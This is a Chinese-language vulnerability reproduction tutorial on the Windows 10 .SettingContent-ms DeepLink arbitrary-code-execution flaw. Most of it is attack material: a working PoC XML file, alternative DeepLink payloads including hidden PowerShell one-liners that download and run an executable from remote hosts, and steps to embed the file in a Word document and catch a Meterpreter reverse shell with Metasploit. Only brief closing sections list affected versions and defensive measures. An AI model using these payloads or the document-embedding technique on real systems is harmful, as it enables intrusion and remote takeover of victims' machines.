0x00 SettingContent-ms文件介紹
.SettingContent-ms是在Windows 10中引入的一種文件類型,它的內容是XML格式進行編寫的,主要用於創建Windows設置頁面的快捷方式.Windows 10下行.SettingContent-ms后綴的文件,系統並未判斷該類文件所在的路徑是否在控制面板相關目錄下,便直接執行了文件中用於控制面板設置相關的深層鏈接標簽指定的任意程序,導致用戶執行系統任意目錄下的此類文件或者從網絡上下載的經過精心設計的.SettingContent-ms文件也會直接執行其中指定的惡意程序對象,導致任意代碼執行.
文件包含一個<DeepLink>標記,它帶有帶參數的任何二進制文件並執行它。這可能會導致問題,因為攻擊者可以使用指向二進制文件(如cmd.exe或PowerShell.exe)的DeepLink元素創建.SettingContent-ms文件,該文件為其提供shell命令執行。
0x01 Windows Defender AV ASR Rules
Windows Defender AV ASR Rules主要是為了解決防止漏洞利用惡意軟件感染計算機和應用程序,它是在Windows 10, version 1709 and later和Windows Server 2016中引入的,所有說之前的Windows Defender版本是沒有ASR Rules的。
從以下版本開始:Windows 10版本1703到1803 和Windows Server版本1709到1803如下圖顯示是Windows Defender AV ASR Rules自帶了AttackSurfaceReductionRules_Ids功能規則。
而在低於該版本的10240中,Windows Defender AV ASR Rules是沒有帶AttackSurfaceReductionRules_Ids
注意:某些時候漏洞利用失敗取決於文件位置(默認策略設置),因此只需要將POC文件復制到如下目錄下就可以執行。(如果改變默認路徑可以通過下載https://github.com/joesecurity/scmwrap/blob/master/scmwrap.exe通過管理員權限下去命令執行 scmwrap.exe -install)
C:\Users\[USER]\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\[LANGUAGE]\
0x02 漏洞復現
1.簡單的測試彈出計算器
1.將測試poc文件放入以下目錄位置:
C:\Users\admin(用戶)
\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\zh-CN\目錄下
2. 點擊測試POC文件:
<?xml version="1.0" encoding="UTF-8"?> <PCSettings> <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> <ApplicationInformation> <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID> <DeepLink>%windir%\system32\cmd.exe /c calc.exe</DeepLink> <Icon>%windir%\system32\control.exe</Icon> </ApplicationInformation> <SettingIdentity> <PageID></PageID> <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID> </SettingIdentity> <SettingInformation> <Description>@shell32.dll,-4161</Description> <Keywords>@shell32.dll,-4161</Keywords> </SettingInformation> </SearchableContent> </PCSettings>
其他<DeepLink>…</DeepLink>可替換POC:
1. %windir%\system32\cmd.exe /c "C:\Program Files\Internet Explorer\iexplore.exe" -k https://www.backlion.org/
2. %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -wind hidden -noni -nop -nologo -Comm "(New-Object System.Net.WebClient).DownloadFile('http://192.168.225.129/pwn.exe', $Env:AppData+'\svrcheck.exe'); Start-Process $Env:AppData'\svrcheck.exe'; Exit-PSSession;"
3. powershell-windowstyle hiddle (New-ObjectSystem.Net.WebClient)DownloadFile('https://www.xxx.com/test.exe',%APPDATA%\Rundll32.exe');Start-Process '%APPDATA%\Rundll32.exe'
4. wmic os get /format:"https://gist.githubusercontent.com/caseysmithrc/68924cabbeca1285d2941298a5b91c24/raw/78065ca63504c9a0f41107137fbe861de487e4d4/minimalist"
3. 點擊test. settingcontent-MS,即可彈出calc
2.嵌入到office中彈出計算器
1.創建一個word,這里我就拿offcie 2007來當例子
2.點插入-對象-選擇由文件創建
4. 雙擊圖標后即可打開即可彈出計算器、
3.kali下反彈shell
利用腳本下載地址:
https://raw.githubusercontent.com/backlion/demo/master/auto_settingcontent-ms.py
1.在KALI下執行腳本auto_settingcontent-ms.py,並填上監聽IP地址(KALI本機主機IP)和端口
root@kali2018:/opt# python auto_settingcontent-ms.py
2.會在當前目錄下生成一個Test.SettingContent-ms以及將生成的LICENSE.txt自動拷貝到/var/www/html目錄下。
5.開啟apache服務。
root@kali2018:/opt# service apache2 start
6.啟動msf,然后進行設置IP地址和監聽端口以及payload
msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https msf exploit(multi/handler) > show options msf exploit(multi/handler) > set lhost 10.250.117.10 msf exploit(multi/handler) > set lport 5555 msf exploit(multi/handler) > exploit
7.將生成的Test.SettingContent-ms拷貝出來,然后新建一個test.doc文檔,通過插入數據
8.然后點擊保持test.docx,並打開該文檔點擊圖標即可反彈。
9.可以看到kali下反彈目標系統shell.
0x03 漏洞影響版本
適用於32位系統的Windows 10版本1703 |
遠程執行代碼 |
重要 |
4338826 |
||||
適用於基於x64的系統的Windows 10版本1703 |
遠程執行代碼 |
重要 |
4338826 |
||||
適用於32位系統的Windows 10版本1709 |
遠程執行代碼 |
重要 |
4338825 |
||||
適用於64位系統的Windows 10版本1709 |
遠程執行代碼 |
重要 |
4338825 |
||||
用於32位系統的Windows 10版本1803 |
遠程執行代碼 |
重要 |
4338819 |
||||
適用於基於x64的系統的Windows 10版本1803 |
遠程執行代碼 |
重要 |
4338819 |
|
|||
Windows Server,版本1709(服務器核心安裝) |
遠程執行代碼 |
重要 |
4338825 |
|
|||
Windows Server,版本1803(服務器核心安裝) |
遠程執行代碼 |
重要 |
4338819 |
|
0x04 漏洞防御建議
最好在防火牆和/或電子郵件網關阻止.SettingContent-ms文件通過執行。此外,可能還需要考慮使用組策略強制.SettingContent-ms禁止在記事本中打開(https://montour.co/2016/09/group-policy-force-js-files/)。
0x05 參考鏈接
https://www.t00ls.net/thread-47622-1-1.html
https://hk.saowen.com/a/18ea08a24efd7d58c9d24ce69cad41aac8e1535026d266a3e6ced826d777a341
https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
https://github.com/joesecurity/scmwrap
https://github.com/SScyber0/Deeplink_Reverse_TCP